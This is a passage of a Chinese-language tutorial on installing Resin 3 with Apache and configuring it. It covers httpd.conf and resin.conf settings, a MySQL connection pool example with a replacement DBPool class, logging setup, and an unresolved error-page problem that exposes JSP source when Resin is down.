和java.exe所在的目录(在jdk所在的目录下面的bin目录下)。一般这样子配置以后,Resin就可以使用了。在d: esindoc中(假设你的对中的名称是doc,也就是根是d:/resin/doc,而且你的如左配置),随便写一个jsp文件,如可以写个test.jsp文件,内容为。然后,在浏览器中,键入http://localhost/test.jsp.如果你可以看到浏览器显示6,则表示Resin服务器已经可以正常运行了。注意,修改配置后,一般重新启动resin才能看到变化 2.安装: 解压resin之后,以和apache结合的方式编译resin3./configure –with-apache=/home/webadm.make.make install编译完成之后.要修改apache的配置文件httpd.conf. 之前和2.0.x结合的apache的配置为CauchoConfigFile /home/resin/conf/resin.conf, 现在必须将这一行改成ResinConfigServer localhost 6802 (6802为resin的srun的端口 ), 这样才能实现apache和resin的结合.主要配置说明 resin3的web-app配置和2.0有一定的区别.首先,将web-app-deploy的相关配置去掉(该目录主要为打包的war文件设置目录,当与下面的host的document-directory不同时,document-directory无效 ) , 然后修改<host> 的<document-directory>/home/webpub</document-directory>, /home/webpub为程序主页存放的目录.配置servlet-mapping,在web-app里设置.如下 <servlet-mapping url-pattern='/servlet/*' servlet-name='invoker'/>配置数据库.范例如下<database> <jndi-name>jdbc/test</jndi-name> <driver type="org.gjt.mm.mysql.Driver"> <url>jdbc:mysql://127.0.0.1:3306/test</url> <user>test</user> <password>test</password> <init-param useUnicode="true"/> <init-param characterEncoding="gb2312"/></driver> <prepared-statement-cache-size>8</prepared-statement-cache-size> <max-connections>300</max-connections> <max-idle-time>30s</max-idle-time> </database> 需要注意的是,resin3的DBPool没有了getPool(String PoolName)的方法.所以以前的数据池连接方法不能使用了.比较折中的修改方法是, 重写一个DBPool类,然后把java类里面的import com.caucho.sql.*;去掉避免冲突.DBPool类范例:package com.netease.mm;import java.sql.*;import javax.sql.*;import javax.naming.*;public class DBPool{ private Connection conn = null;public static DBPool getPool(String poolName) { try { Context env = (Context) new InitialContext().lookup("java:comp/env"); DataSource source = (DataSource) env.lookup("jdbc/"+poolName); DBPool pool = new DBPool(); pool.conn = source.getConnection(); return pool; } catch(Exception e) { return null; } }public Connection getConnection() { return conn; }}配置stderr,stdout等log问题. Resin3默认并不会将程序出错的信息打印出来.需要自己设置.在<resin>结点之下添加如下配置:<log name='' level='all' path='stderr:' timestamp="[%H:%M:%S.%s]" format=" ${log.level} ${log.loggerName} ${log.message}"/>配置中无法解决的问题: 在resin2.0.x中.可以设置error-page,当resin启动错误或未启动时,访问主页将自动转向到所设置的error-page, 在resin3中,虽然主页帮助里面提到这个设置例:<error-page exception-type='connection' location='/errpage.html'/>, 但经过测试.无论将此设置放在哪一层结点(resin,server,host,web-app)之下.都无法起到转向的作用. 这就引发一个严重的问题,当resin3未启动而apache运行时.访问jsp页面,将直接显示出源码.该问题在resin3至今发布的版本都存在,目前找不到有效便捷的解决方法.